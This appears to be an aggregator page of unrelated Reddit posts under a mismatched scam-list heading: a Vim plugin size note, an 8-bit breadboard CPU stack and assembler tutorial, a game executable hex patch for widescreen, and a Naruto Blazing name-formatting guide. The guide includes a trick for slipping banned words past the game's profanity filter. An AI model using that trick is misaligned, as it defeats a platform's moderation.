Binary options scams list. Check which brokers are fake.

A place to help anyone who has a uterus

This sub is dedicated to providing information and resources to those in need of services in states that have passed the heartbeat bill. Please read the info in the sidebar 💖
[link]

How to minimise YCM installation size

Every now and again people (reasonably) lament the overall on-disk size of a YCM install. We know about this and are actively improving the situation while maintaining the kind of functionality and stability that we can.
Anyway, for anyone who is interested, I wrote a few notes on how to have a "minimal" install: https://github.com/ycm-core/YouCompleteMe/wiki/Minimising-Installation-Size.
TL;DR:
Leads to about 100MB install, which we expect to shrink further. Yes we know that 100MB is "too much for a Vim plugin" etc. but there's only so much we can do.
In b4:
Let the downvoting... begin!
submitted by puremourning to vim [link] [comments]

Step-by-Step Guide for Adding a Stack, Expanding Control Lines, and Building an Assembler

After the positive response to my first tutorial on expanding the RAM, I thought I'd continue the fun by expanding the capabilities of Ben's 8-bit CPU even further. That said, you'll need to have done the work in the previous post to be able to do this. You can get a sense for what we'll do in this Imgur gallery.
In this tutorial, we'll balance software and hardware improvements to make this a pretty capable machine:

Parts List

To only update the hardware, you'll need:
If you want to update the toolchain, you'll need:
  1. Arduino Mega 2560 (Amazon) to create the programmer.
  2. Ribbon Jumper Cables (Amazon) to connect the Arduino to the breadboard.
  3. TL866 II Plus EEPROM Programmer (Amazon) to program the ROM.
Bonus Clock Improvement: One additional thing I did is replace the 74LS04 inverter in Ben's clock circuit with a 74LS14 inverting Schmitt trigger (datasheet, Jameco). The pinouts are identical! Just drop it in, wire the existing lines, and then run the clock output through it twice (since it's inverting) to get a squeaky clean clock signal. Useful if you want to go even faster with the CPU.

Step 1: Program with an Arduino and Assembler (Image 1, Image 2)

There's a certain delight in the physical programming of a computer with switches. This is how Bill Gates and Paul Allen famously programmed the Altair 8800 and started Microsoft. But at some point, the hardware becomes limited by how effectively you can input the software. After upgrading the RAM, I quickly felt constrained by how long it took to program everything.
You can continue to program the computer physically if you want and even after upgrading that option is still available, so this step is optional. There's probably many ways to approach the programming, but this way felt simple and in the spirit of the build. We'll use an Arduino Mega 2560, like the one in Ben's 6502 build, to program the RAM. We'll start with a homemade assembler then switch to something more robust.
Preparing the Physical Interface
The first thing to do is prepare the CPU to be programmed by the Arduino. We already did the hard work on this in the RAM upgrade tutorial by using the bus to write to the RAM and disconnecting the control ROM while in program mode. Now we just need to route the appropriate lines to a convenient spot on the board to plug the Arduino into.
  1. This is optional, but I rewired all the DIP switches to have ground on one side, rather than alternating sides like Ben's build. This just makes it easier to route wires.
  2. Wire the 8 address lines from the DIP switch, connecting the side opposite to ground (the one going to the chips) to a convenient point on the board. I put them on the far left, next to the address LEDs and above the write button circuit.
  3. Wire the 8 data lines from the DIP switch, connecting the side opposite to ground (the one going to the chips) directly below the address lines. Make sure they're separated by the gutter so they're not connected.
  4. Wire a line from the write button to your input area. You want to connect the side of the button that's not connected to ground (the one going to the chip).
So now you have one convenient spot with 8 address lines, 8 data lines, and a write line. If you want to get fancy, you can wire them into some kind of connector, but I found that ribbon jumper cables work nicely and keep things tidy.
The way we'll program the RAM is to enter program mode and set all the DIP switches to the high position (e.g., 11111111). Since the switches are upside-down, this means they'll all be disconnected and not driving to ground. The address and write lines will simply be floating and the data lines will be weakly pulled up by 1k resistors. Either way, the Arduino can now drive the signals going into the chips using its outputs.
Creating the Arduino Programmer
Now that we can interface with an Arduino, we need to write some software. If you follow Ben's 6502 video, you'll have all the knowledge you need to get this working. If you want some hints and code, see below (source code):
  1. Create arrays for your data and address lines. For example: const char ADDRESS_LINES[] = {39, 41, 43, 45, 47, 49, 51, 53};. Create your write line with #define RAM_WRITE 3.
  2. Create functions to enable and disable your address and data lines. You want to enable them before writing. Make sure to disable them afterward so that you can still manually program using DIP switches without disconnecting the Arduino. The code looks like this (just change INPUT to OUTPUT accordingly): for(int n = 0; n < 8; n += 1) { pinMode(ADDRESS_LINES[n], OUTPUT); }
  3. Create a function to write to an address. It'll look like void writeData(byte writeAddress, byte writeData) and basically use two loops, one for address and one for data, followed by toggling the write.
  4. Create a char array that contains your program and data. You can use #define to create opcodes like #define LDA 0x01.
  5. In your main function, loop through the program array and send it through writeData.
With this setup, you can now load multi-line programs in a fraction of a second! This can really come in handy with debugging by stress testing your CPU with software. Make sure to test your setup with existing programs you know run reliably. Now that you have your basic setup working, you can add 8 additional lines to read the bus and expand the program to let you read memory locations or even monitor the running of your CPU.
Making an Assembler
The above will serve us well but it's missing a key feature: labels. Labels are invaluable in assembly because they're so versatile. Jumps, subroutines, variables all use labels. The problem is that labels require parsing. Parsing is a fun project on the road to a compiler but not something I wanted to delve into right now--if you're interested, you can learn about Flex and Bison. Instead, I found a custom assembler that lets you define your CPU's instruction set and it'll do everything else for you. Let's get it setup:
  1. If you're on Windows, you can use the pre-built binaries. Otherwise, you'll need to install Rust and compile via cargo build.
  2. Create a file called 8bit.cpu and define your CPU instructions (source code). For example, LDA would be lda {address} -> 0x01 @ address[7:0]. What's cool is you can also now create the instruction's immediate variant instead of having to call it LDI: lda #{value} -> 0x05 @ value[7:0].
  3. You can now write assembly by adding #include "8bit.cpu" to the top of your code. There's a lot of neat features so make sure to read the documentation!
  4. Once you've written some assembly, you can generate the machine code using ./customasm yourprogram.s -f hexc -p. This prints out a char array just like our Arduino program used!
  5. Copy the char array into your Arduino program and send it to your CPU.
At this stage, you can start creating some pretty complex programs with ease. I would definitely play around with writing some larger programs. I actually found a bug in my hardware that was hidden for a while because my programs were never very complex!

Step 2: Expand the Control Lines (Image)

Before we can expand the CPU any further, we have to address the fact we're running out of control lines. An easy way to do this is to add a 3rd 28C16 ROM and be on your way. If you want something a little more involved but satisfying, read on.
Right now the control lines are one hot encoded. This means that if you have 4 lines, you can encode 4 states. But we know that a 4-bit binary number can encode 16 states. We'll use this principle via 74LS138 decoders, just like Ben used for the step counter.
Choosing the Control Line Combinations
Everything comes with trade-offs. In the case of combining control lines, it means the two control lines we choose to combine can never be activated at the same time. We can ensure this by encoding all the inputs together in the first 74LS138 and all the outputs together in a second 74LS138. We'll keep the remaining control lines directly connected.
Rewiring the Control Lines
If your build is anything like mine, the control lines are a bit of a mess. You'll need to be careful when rewiring to ensure it all comes back together correctly. Let's get to it:
  1. Place the two 74LS138 decoders on the far right side of the breadboard with the ROMs. Connect them to power and ground.
  2. You'll likely run out of inverters, so place a 74LS04 on the breadboard above your decoders. Connect it to power and ground.
  3. Carefully take your inputs (MI, RI, II, AI, BI, J) and wire them to the outputs of the left 74LS138. Do not wire anything to O0 because that's activated by 000 which won't work for us!
  4. Carefully take your outputs (RO, CO, AO, EO) and wire them to the outputs of the right 74LS138. Remember, do not wire anything to O0!
  5. Now, the 74LS138 outputs are active low, but the ROM outputs were active high. This means you need to swap the wiring on all your existing 74LS04 inverters for the LEDs and control lines to work. Make sure you track which control lines are supposed to be active high vs. active low!
  6. Wire E3 to power and E2 to ground. Connect the E1 on both 138s together, then connect it to the same line as OE on your ROMs. This will ensure that the outputs are disabled when you're in program mode. You can actually take off the 1k pull-up resistors from the previous tutorial at this stage, because the 138s actively drive the lines going to the 74LS04 inverters rather than floating like the ROMs.
At this point, you really need to ensure that the massive rewiring job was successful. Connect 3 jumper wires to A0-A2 and test all the combinations manually. Make sure the correct LED lights up and check with a multimeteoscilloscope that you're getting the right signal at each chip. Catching mistakes at this point will save you a lot of headaches! Now that everything is working, let's finish up:
  1. Connect A0-A2 of the left 74LS138 to the left ROM's A0-A2.
  2. Connect A0-A2 of the right 74LS138 to the right ROM's A0-A2.
  3. Distribute the rest of the control signals across the two ROMs.
Changing the ROM Code
This part is easy. We just need to update all of our #define with the new addresses and program the ROMs again. For clarity that we're not using one-hot encoding anymore, I recommend using hex instead of binary. So instead of #define MI 0b0000000100000000, we can use #define MI 0x0100, #define RI 0x0200, and so on.
Testing
Expanding the control lines required physically rewiring a lot of critical stuff, so small mistakes can creep up and make mysterious errors down the road. Write a program that activates each control line at least once and make sure it works properly! With your assembler and Arduino programmer, this should be trivial.
Bonus: Adding B Register Output
With the additional control lines, don't forget you can now add a BO signal easily which lets you fully use the B register.

Step 3: Add a Stack (Image 1, Image 2)

Adding a stack significantly expands the capability of the CPU. It enables subroutines, recursion, and handling interrupts (with some additional logic). We'll create our stack with an 8-bit stack pointer hard-coded from $0100 to $01FF, just like the 6502.
Wiring up the Stack Pointer
A stack pointer is conceptually similar to a program counter. It stores an address, you can read it and write to it, and it increments. The only difference between a stack pointer and a program counter is that the stack pointer must also decrement. To create our stack pointer, we'll use two 74LS193 4-bit up/down binary counters:
  1. Place a 74LS00 NAND gate, 74LS245 transceiver, and two 74LS193 counters in a row next to your output register. Wire up power and ground.
  2. Wire the the Carry output of the right 193 to the Count Up input of the left 193. Do the same for the Borrow output and Count Down input.
  3. Connect the Clear input between the two 193s and with an active high reset line. The B register has one you can use on its 74LS173s.
  4. Connect the Load input between the two 193s and to a new active low control line called SI on your 74LS138 decoder.
  5. Connect the QA-QD outputs of the lower counter to A8-A5 and the upper counter to A4-A1. Pay special attention because the output are in a weird order (BACD) and you want to make sure the lower A is connected to A8 and the upper A is connected to A4.
  6. Connect the A-D inputs of the lower counter to B8-B5 and the upper counter to B4-B1. Again, the inputs are in a weird order and on both sides of the chip so pay special attention.
  7. Connect the B1-B8 outputs of the 74LS245 transceiver to the bus.
  8. On the 74LS245 transceiver, connect DIR to power (high) and connect OE to a new active low control line called SO on your 74LS138 decoder.
  9. Add 8 LEDs and resistors to the lower part of the 74LS245 transceiver (A1-A8) so you can see what's going on with the stack pointer.
Enabling Increment & Decrement
We've now connected everything but the Count Up and Count Down inputs. The way the 74LS193 works is that if nothing is counting, both inputs are high. If you want to increment, you keep Count Down high and pulse Count Up. To decrement, you do the opposite. We'll use a 74LS00 NAND gate for this:
  1. Take the clock from the 74LS08 AND gate and make it an input into two different NAND gates on the 74LS00.
  2. Take the output from one NAND gate and wire it to the Count Up input on the lower 74LS193 counter. Take the other output and wire it to the Count Down input.
  3. Wire up a new active high control line called SP from your ROM to the NAND gate going into Count Up.
  4. Wire up a new active high control line called SM from your ROM to the NAND gate going into Count Down.
At this point, everything should be working. Your counter should be able to reset, input a value, output a value, and increment/decrement. But the issue is it'll be writing to $0000 to $00FF in the RAM! Let's fix that.
Accessing Higher Memory Addresses
We need the stack to be in a different place in memory than our regular program. The problem is, we only have an 8-bit bus, so how do we tell the RAM we want a higher address? We'll use a special control line to do this:
  1. Wire up an active high line called SA from the 28C16 ROM to A8 on the Cypress CY7C199 RAM.
  2. Add an LED and resistor so you can see when the stack is active.
That's it! Now, whenever we need the stack we can use a combination of the control line and stack pointer to access $0100 to $01FF.
Updating the Instruction Set
All that's left now is to create some instructions that utilize the stack. We'll need to settle some conventions before we begin:
If you want to add a little personal flair to your design, you can change the convention fairly easily. Let's implement push and pop (source code):
  1. Define all your new control lines, such as #define SI 0x0700 and #define SO 0x0005.
  2. Create two new instructions: PSH (1011) and POP (1100).
  3. PSH starts the same as any other for the first two steps: MI|CO and RO|II|CE. The next step is to put the contents of the stack pointer into the address register via MI|SO|SA. Recall that SA is the special control line that tells the memory to access the $01XX bank rather than $00XX.
  4. We then take the contents of AO and write it into the RAM. We can also increment the stack pointer at this stage. All of this is done via: AO|RI|SP|SA, followed by TR.
  5. POP is pretty similar. Start off with MI|CO and RO|II|CE. We then need to take a cycle and decrement the stack pointer with SM. Like with PSH, we then set the address register with MI|SO|SA.
  6. We now just need to output the RAM into our A register with RO|AI|SA and then end the instruction with TR.
  7. Updating the assembler is easy since neither instruction has operands. For example, push is just psh -> 0x0B.
And that's it! Write some programs that take advantage of your new 256 byte stack to make sure everything works as expected.

Step 4: Add Subroutine Instructions (Image)

The last step to complete our stack is to add subroutine instructions. This allows us to write complex programs and paves the way for things like interrupt handling.
Subroutines are like a blend of push/pop instructions and a jump. Basically, when you want to call a subroutine, you save your spot in the program by pushing the program counter onto the stack, then jumping to the subroutine's location in memory. When you're done with the subroutine, you simply pop the program counter value from the stack and jump back into it.
We'll follow 6502 conventions and only save and restore the program counter for subroutines. Other CPUs may choose to save more state, but it's generally left up to the programmer to ensure they're not wiping out states in their subroutines (e.g., push the A register at the start of your subroutine if you're messing with it and restore it before you leave).
Adding an Extra Opcode Line
I've started running low on opcodes at this point. Luckily, we still have two free address lines we can use. To enable 5-bit opcodes, simply wire up the 4Q output of your upper 74LS173 register to A7 of your 28C16 ROM (this assumes your opcodes are at A3-A6).
Updating the ROM Writer
At this point, you simply need to update the Arduino writer to support 32 instructions vs. the current 16. So, for example, UCODE_TEMPLATE[16][8] becomes UCODE_TEMPLATE[32][8] and you fill in the 16 new array elements with nop. The problem is that the Arduino only has so much memory and with the way Ben's code is written to support conditional jumps, it starts to get tight.
I bet the code can be re-written to handle this, but I had a TL866II Plus EEPROM programmer handy from the 6502 build and I felt it would be easier to start using that instead. Converting to a regular C program is really simple (source code):
  1. Copy all the #define, global const arrays (don't forget to expand them from 16 to 32), and void initUCode(). Add #include and #include to the top.
  2. In your traditional int main (void) C function, after initializing with initUCode(), make two arrays: char ucode_upper[2048] and char ucode_lower[2048].
  3. Take your existing loop code that loops through all addresses: for (int address = 0; address < 2048; address++).
  4. Modify instruction to be 5-bit with int instruction = (address & 0b00011111000) >> 3;.
  5. When writing, just write to the arrays like so: ucode_lower[address] = ucode[flags][instruction][step]; and ucode_upper[address] = ucode[flags][instruction][step] >> 8;.
  6. Open a new file with FILE *f = fopen("rom_upper.hex", "wb");, write to it with fwrite(ucode_upper, sizeof(char), sizeof(ucode_upper), f); and close it with fclose(f);. Repeat this with the lower ROM too.
  7. Compile your code using gcc (you can use any C compiler), like so: gcc -Wall makerom.c -o makerom.
Running your program will spit out two binary files with the full contents of each ROM. Writing the file via the TL866II Plus requires minipro and the following command: minipro -p CAT28C16A -w rom_upper.hex.
Adding Subroutine Instructions
At this point, I cleaned up my instruction set layout a bit. I made psh and pop 1000 and 1001, respectively. I then created two new instructions: jsr and rts. These allow us to jump to a subroutine and returns from a subroutine. They're relatively simple:
  1. For jsr, the first three steps are the same as psh: MI|CO, RO|II|CE, MI|SO|SA.
  2. On the next step, instead of AO we use CO to save the program counter to the stack: CO|RI|SP|SA.
  3. We then essentially read the 2nd byte to do a jump and terminate: MI|CO, RO|J.
  4. For rts, the first four steps are the same as pop: MI|CO, RO|II|CE, SM, MI|SO|SA.
  5. On the next step, instead of AI we use J to load the program counter with the contents in stack: RO|J|SA.
  6. We're not done! If we just left this as-is, we'd jump to the 2nd byte of jsr which is not an opcode, but a memory address. All hell would break loose! We need to add a CE step to increment the program counter and then terminate.
Once you update the ROM, you should have fully functioning subroutines with 5-bit opcodes. One great way to test them is to create a recursive program to calculate something--just don't go too deep or you'll end up with a stack overflow!

Conclusion

And that's it! Another successful upgrade of your 8-bit CPU. You now have a very capable machine and toolchain. At this point I would have a bunch of fun with the software aspects. In terms of hardware, there's a number of ways to go from here:
  1. Interrupts. Interrupts are just special subroutines triggered by an external line. You can make one similar to how Ben did conditional jumps. The only added complexity is the need to load/save the flags register since an interrupt can happen at any time and you don't want to destroy the state. Given this would take more than 8 steps, you'd also need to add another line for the step counter (see below).
  2. ROM expansion. At this point, address lines on the ROM are getting tight which limits any expansion possibilities. With the new approach to ROM programming, it's trivial to switch out the 28C16 for the 28C256 that Ben uses in the 6502. These give you 4 additional address lines for flags/interrupts, opcodes, and steps.
  3. LCD output. At this point, adding a 16x2 character LCD like Ben uses in the 6502 is very possible.
  4. Segment/bank register. It's essentially a 2nd memory address register that lets you access 256-byte segments/banks of RAM using bank switching. This lets you take full advantage of the 32K of RAM in the Cypress chip.
  5. Fast increment instructions. Add these to registers by replacing 74LS173s with 74LS193s, allowing you to more quickly increment without going through the ALU. This is used to speed up loops and array operations.
submitted by MironV to beneater [link] [comments]

PSA: A Fix for 21:9 (Widescreen etc.) has been found

PSA: A Fix for 21:9 (Widescreen etc.) has been found
this as the source:
To remove black bars for this game follow this steps:
-Open "AT-Win64-Shipping.exe" with a hex editor.
-Search for "3B 8E E3 3F" and replace with one of the following:
2560x1080: "26 B4 17 40"
3440x1440: "8E E3 18 40"
3840x1600: "9A 99 19 40"
Posted by granti on the WSGF Discord:
to fix fov:
look for 35 FA 0E 3C
change to 35 FA 28 3C
For a Hex editor, I suggest HxD.
"AT-Win64-Shipping.exe" is located here "\Steam\steamapps\common\DRAGON BALL Z KAKAROT\AT\Binaries\Win64\")
Edit: Remember to backup the .exe before you make any changes, and if you use the internal resolution option, place it back to 100 before you attempt this, other wise weird things may happen.
Example images of it working from my game:

Unavoidable boxing of the locked area unfortunately.
https://preview.redd.it/wqrasveggjb41.jpg?width=2560&format=pjpg&auto=webp&s=73bcb7cb6d82731a208bf794258f54e5f4822423
https://preview.redd.it/2op33s9chjb41.jpg?width=2560&format=pjpg&auto=webp&s=eb7301c218dd1d4f2483b3e093ac4397866e4252
Menu background doesn't extend the full width, unfortunately.
submitted by Dumke480 to kakarot [link] [comments]

[GUIDE] Name changing trick

Before I begin I wanna say sorry for the huge wall of text.
Also, instead of making a TL;DR, I've simply made a list of things you should read/skim over to get the gist of it:
  1. Introduction.
  2. Basic codes.
  3. Fade/opacity codes.
  4. "Special" codes.
  5. Codes that allow profanity.
  6. Combining codes.
  7. Final words.
  8. nsFAQ.


Introduction:

Hello Blazing players, today I will talk about something that quite a few of you might already be a little familiar with, the name change trick.

You might've played PvP and matched against someone with and underline in thier name, or thier name is written in italics.
Well today I've done some (in my own opinion) extensive testing with the name changer and it's codes.

  1. Go into the game settings and press on "Change Name".
  2. Type in a name you like with 5, 4, 3 or less characters, depending on the code you want to use (this is because of the 8 character limit in your name).
  3. After typing your prefered name, select a place in your name where you would like the effect to start from.

  1. Select any mission you can play in multipler, and press on "Gather friends".
  2. When you're in the pre-lobby, press on "Room settings" in the top left, and then press on the lowest text input field.
  3. Type your message.

In this example I'll use the names "Obito", "Neji" and "Lee" for the 5, 4 and 3 letter names respectively.
How this works is that you use what is called "BB code" codes to give effects to your name.
I will split these tables outlining the codes into sections;
  1. Basic codes (5 or less characters in name).
  2. Fade/opacity codes (4 or less chacaters in name).
  3. "Special" codes (3 or less characters in name).
  4. Weird codes (Varies in lenght, but the shortest one is 1 character, so 5 or less character name).
  5. Codes that allows profanity (Codes we already talked about, but how they can be used).
  6. Combining codes (Varies in length, but the shotest only allows you to have 2 or less characters in your name).
  7. Fun names you can use if you want to (the names obviously uses the codes I've mentioned here).
  8. Full list of fade/opacity codes - because english isn't my first language I don't believe in my own ability to get information across.
  9. Imgur albums with examples of all the mentioned codes.
  10. Final words.
  11. nsFAQ (edited in after posting).

1. Basic codes:

The first table is the basic codes, i.e the codes that are the most well known in the community, and consist of only 1 letter in the code.
You will need 5 or less characters in your name.

Name Code Usage Result
Bold [b] [b]Obito Obito
Italics [i] [i]Obito Obito
Underline [u] [u]Obito See Imgur album
Strikethrough [s] [s]Obito Obito

These are the codes/names you've most likely run into at some point playing the game since they are the most common and well known codes.
On a sidenote, I wanna mention that when you're on your homwscreen, then the code will be visible in your name (this goes for all codes), but don't worry, because in PvP and such it will still look differentand without the code looking horrible in your name.

Imgur album with examples: Album


2. Fade/opacity codes:

IMPORTANT EDIT at the bottom of the section!
The second table is the fade codes, i.e the codes that make your name "fade", or as normal people would say, it makes your name's opacity lower than original (transparent).
You need 4 or less characters in your name.

Now, these codes are a little special.
Have you ever been up against someone in PvP with an opaque name, and it turns out the have [69] in thier name?
Well, the 69 code is just a tiny part in the section that is opacity codes.
Let's get into the table first, and I'll then explain further afterwards.
The table doesn't have a "Result" column since Reddit doesn't have a feature for text opacity.

Name Code Usage
Regular 1-9 opacity [01-09] [05]Neji
Regular 10-99 opacity [10-99] [55]Neji
Fancy a-f opacity [ax-fx] [af]Neji

These are the name opacity codes.
The opacity codes work in such a way that the higher the number, the less opacity, meaning that a name with [90] will be less transparent compared to a name with [10].
A sidenote to the statement made above, is that the code [01-05] makes your name pretty much completely invisible, and [05]-[08] makes it almost unreadable.
Don't think you can use this to cheat, people will be able to see your full name and will be able to report after a match is done in PvP.
The two "regular" opacity codes are conected, it's just that you just put a [1] and it'll work, no, you have to put a zero (0) in front of single character numbers, which is the reason why I separeted them in the table above.

The "fancy" opacity codes is a little special in that it's basically an alphabet, but with everything beyond "f" removed, but also because they are the ones that adds the least total ammount of transaprency to your name.
Let me explain; we all know the alphabet, and we all know that "g" comes after "f", however not in this case., so basically just go up to "f" and then go to the next letter.
So a little quick list would be that you start with the code [aa], and then the next one is [ab], then [ac] and so on, until you get [af], after that you move on to [ba], then [bb] and so on. This means that the last code here will be [ff].
I will add a full list at the bottom of the post in case you still don't understand.

Imgur album with examples: Album

EDIT:
Due to the findings of user iramd24, I have done a little more testing, and can now confirm his statement:
"Since the opacity code goes from 01 to ff Im pretty sure It is hexadecimal instead of numeric and alphabetic so you could probably use the codes [b8] or [4e] for example I can't test It right now but following that logic it should work"
This means that they aren't split into numeric and alphabetic sections, but rather everything is linked.
I can confirm that he is indeed right (Full code table at the bottom has also been updated):

(Codes go from 0 to 9, and then it goes from A to F, meaning that one section is 00, 01, 02, 03, 04, 05, 06, 07, 08, 09, 0a, 0b, 0c, 0d, 0e and 0f, after that we start over, but add a 1 where the 0 was, so it would be 10, 11, 12... all the way up till 1a, 1b, 1c... which is repeated for each section, for the alphabetic codes you simply do the same; a0, a1, a2... all the up to f0, f1, f2...).
Hopefully this is understandable, but look under the section "Hexadecimal (base 16)" on this website for reference.



3. "Special" codes:

The third table is the "special" codes, i.e the codes that can give your name a "to the power of 2" aesthetic.
You will need 3 or less characters in your name.

Name Code Usage Result
Subscript [sub] L[sub]ee See Imgur album
Superscript [sup] L[sup]ee Lee

Now, there's not too much to say about these, they're just pretty cool to have, and they also looks the nicest when having a 3 letter profanity word in my opnition.

Imgur album with examples: Album


4. "Weird" codes:

The fourth table is the weird codes, i.e codes that's doesn't seem to do anything, but still works (or codes that just can't do anything due to the way the name changing and name displaying is set up).
At the time of writing this I've only found one, which is a one character code, however I'll update the table if I find or are made aware of any more.

Name Code Usage Result
??? (Seems to labeled as "code snippet") [c] [c]Obito ???

The first one I've found seems to labeled as a code snippet on this website, which then makes sense as to why it doesn't work.

Imgur album with examples: Album


5. Codes that allows profanity:

The fifth section is the profanity allowence codes, i.e codes that allows players to have banned words in thier name.
I'm gonna use something mild in this section.
This section feels sort of unnecessary in my own opinion, but hey, it's kinda funny to have your name as "Ass", right?

Well instead of having a table outlining how to do it exactly, I'll just tell you that you should just put the code in the middle of the banned word and then you can use it, along with a few examples.
Let's use "Ass" as an example once again.

Name Code Usage Result
The fancy ass [i] A[i]ss Ass
Subscript Ass [sub] A[sub]ss See Imgur album
Superscript Ass [sup] A[sup]ss Ass

I still don't know why "yeet" is a banned word :/

Imgur album with examples: Album


6. Combining codes:

The sixth section is the combining of codes, i.e codes that you can combine to make a name look nice with 2 effects.
Like with section 5 above, I'm not gonna outline everything since there is an endless amount of possibilities for you to combine codes and make a nice name.
In this section I'll use "xD" as an example, because I'm cringe like that.
And I'll just use "D" in the last example.

Name Code Uasge Result
Bold + Italics [b] + [i] [b][i]xD xD
[u]Underline[/u] + Italics [u] + [i] [u][i]xD See Imgur album
Transparent + strikethrough [s] + [69] [s][69]D D (image the text being transparent a bit too)

You can combine any 2 previously mentioned codes to make a nice looking name, altough the only real viable option is to use two of the single character codes, because then you can get a 2 character name.

Imgur album with examples: Album


7. Fun names you can use:

Now what is a guide about names without a section of free to use names? Well it's still a guide, but it's lacking that last section, like a frozen pizza is missing that jazz.
This is a list of names I made (only 2 at the time of writing this) that you can use freely if you want to.

Name Code used Usage Result
Hidden Rain village rouge ninja headband [s] [s] Try it yourself!
Triangle [u] [u]/\ Try it yourself!

Don't judge, I'm not the most well versed guy in what other people like and find "cool", so, yeah.


8. Full list of fade/opacity codes:

Please note that the table to supposed to be read from the left most column, all the way down, and then move one column to the right and repeat.
EDIT:
This table has been updated due to new information being found by user iramd24, to now include all the Hexadecimal values you can use (it was quicker to write that it looks, I promise).
This table takes the values from this website, look under the section "Hexadecimal (base 16)" for reference.
Section 0 codes Section 1 codes Section 2 codes Section 3 codes Section 4 codes Section 5 codes Section 6 codes Section 7 codes
[00] [10] [20] [30] [40] [50] [60] [70]
[01] [11] [21] [31] [41] [51] [61] [71]
[02] [12] [22] [32] [42] [52] [62] [72]
[03] [13] [23] [33] [43] [53] [63] [73]
[04] [14] [24] [34] [44] [54] [64] [74]
[05] [15] [25] [35] [45] [55] [65] [75]
[06] [16] [26] [36] [46] [56] [66] [76]
[07] [17] [27] [37] [47] [57] [67] [77]
[08] [18] [28] [38] [48] [58] [68] [78]
[09] [19] [29] [39] [49] [59] [69] [79]
[0a] [1a] [2a] [3a] [4a] [5a] [6a] [7a]
[0b] [1b] [2b] [3b] [4b] [5b] [6b] [7b]
[0c] [1c] [2c] [3c] [4c] [5c] [6c] [7c]
[0d] [1d] [2d] [3d] [4d] [5d] [6d] [7d]
[0e] [1e] [2e] [3e] [4e] [5e] [6e] [7e]
[0f] [1f] [2f] [3f] [4f] [5f] [6f] [7f]

Section 8 codes Section 9 codes Section a codes Section b codes Section c codes Section d codes Section e codes Section f codes
[80] [90] [a0] [b0] [c0] [d0] [e0] [f0]
[81] [91] [a1] [b1] [c1] [d1] [e1] [f1]
[82] [92] [a2] [b2] [c2] [d2] [e2] [f2]
[83] [93] [a3] [b3] [c3] [d3] [e3] [f3]
[84] [94] [a4] [b4] [c4] [d4] [e4] [f4]
[85] [95] [a5] [b5] [c5] [d5] [e5] [f5]
[86] [96] [a6] [b6] [c6] [d6] [e6] [f6]
[87] [97] [a7] [b7] [c7] [d7] [e7] [f7]
[88] [98] [a8] [b8] [c8] [d8] [e8] [f8]
[89] [99] [a9] [b9] [c9] [d9] [e9] [f9]
[8a] [9a] [aa] [ba] [ca] [da] [ea] [fa]
[8b] [9b] [ab] [bb] [cb] [db] [eb] [fb]
[8c] [9c] [ac] [bc] [cc] [dc] [ec] [fc]
[8d] [9d] [ad] [bd] [cd] [dd] [ed] [fd]
[8e] [9e] [ae] [be] [ce] [de] [ee] [fe]
[8f] [9f] [af] [bf] [cf] [df] [ef] [ff]
Well hopefully these tables helped someone, else I just wasted my time writing them for no reason.


9. Imgur albums with examples:

I have made a few Imgur albums dedicated to the different sections to give users an idea of how the different names look with the codes.
All the albums will have a neutral name without any codes on to show the difference.

Section 1 - Basic codes Section 2 - Fade/opacity codes Section 3 - "Special" codes Section 4 - "Weird" codes Section 5 - Codes that allows profanity Section 6 - Combining codes
Album Album Album Album Album Album

The table here was mainly to have the albums in one convenient place.
There is also a link to the albums in each section respectively.


10. Final words:

Thank you so much for reading! I dedicated a bunch of time to making this, especially since my brwser crashed halfway through writting it the first time around because my dumbass installed some sketchy software and it ate all my ram, which caused all my work to go to waste.

I will end the post here by saying; if you have anything to add, let me know and I'll add it to the post and give you the proper credits!
I'm always looking to expand, so if you know a code I don't know of, shoot it at me.
I'm really damn tired right now, so I'll hop off and answer comments and such tomorrow (if anyone decides to comment aha).
Also, please ignore any misspellings, English isn't my native language and I'm pretty self aware about my spelling, which causes me to misspell even more.

Also, rip mobile users, this post is pretty much a hell to read for you.
I'm sorry.

11. nsFAQ (not so Frequently Asked Questions):

In this section I will outline a few things that I have either figured out after posting, or things I simply forgot to add (both of which I don't know where exactly to put).

Q: Can I use this anywhere else besides my name?
A: Yes you can! Anywhere in the game where you have the ability to input text you can do it! Meaning you can really outline your message in multiplayer rooms by combining a few of the codes above (I can't remember if you have the ability to write text anywhere else, but I suppose that if you can, these codes will work).
I personally rock a message that looks like this: [b][i][u]ONLY 99LUCK. (In-game: "ONLY 99LUCK" with an underline).
In the multiplayer rooms you have a bit more freedom, since there is a 20 character limit instead of the tiny 8 when choosing a name.

Q: Will I be banned for using these?
A: No, this is Hexadecimal and BB codes which simply changes your name/text apperence, there's no reason for Bandai to ban players having a name with a code in it.
I even know someone that found one of the opacity codes by accident, and has been rocking with it for almost 3 years now.

This is all I have for now, but I will add more as I'm made aware of new things, or remember new stuff.


Edits:

EDIT: Just posted this. Apparently some of the results doesn't work proberly, so I've refered to the Imgur album instead to look at it.

EDIT2: Just realized the "fun names" results doesn't work. I've listed it as "try it yourself!".

EDIT3: Fixed a misspelling.

EDIT4: Added a bad TL;DR outlining what you should read/skim over to get the gist over everything.
Added a "rip/sorry mobile users" message in Section 10 - Final words.
Edited name of Section 8 to better reflect findings by user below.
Added the findings of iramd24 under "Section 2 - Fade/Opacity codes" and "Section 8 - (Thanks man!).
Added a "nsFAQ" (not so Frequently Asked Questions) outlining a few datails I overlooked when writing and don't know where else to put.
submitted by Lyn_The_2nd to NarutoBlazing [link] [comments]

Aatrox talks as Korea's former challenger

http://www.op.gg/summoneuserName=%EB%8B%AD%EB%8C%80%EA%B0%80%EB%A6%AC%20%EB%A9%94%EC%9D%B4%EC%A7%80
Hello? I am an Aatrox user in Korea. That link above is my id.
I'm not good at English, but I came here to express my dirty feeling while using the Google Translator.
Besides, I do not know if this site is appropriate for me to talk about.
And I do not even know if Riot Officials will see my post.
Since the performance of the translator is not perfect, please understand that it is awkward.
When the Aatrox change came out, I was desperate and angry. But I soon realized that Aatrox is changing. I knew Ryze's precedent.
'What does Riot want from Aatrox and Ryze? What are you trying to make! '
I could not understand. So I gave up.
But there was a case that made me angry again.
That's it.
http://www.surrenderat20.net/2018/06/618-pbe-update.html
Ctrl + c + ctrl + v for annoying people clicking on the link
---------------------
"Hey guys,
Been reading through all the feedback on the Aatrox VGU over the last week and I thought it would be good to pop in here and let you know of some art changes we will be making soon, plus give a little context behind some of the decisions on the rework.
Base Model Art Changes:
You should see some tweaks to the base model very soon on PBE. This will add a bit more detail to Aatrox and bring his colors a bit closer to previous Aatrox (Some darker reds will be added) Look out for these changes soon.
Aatrox's Wings:
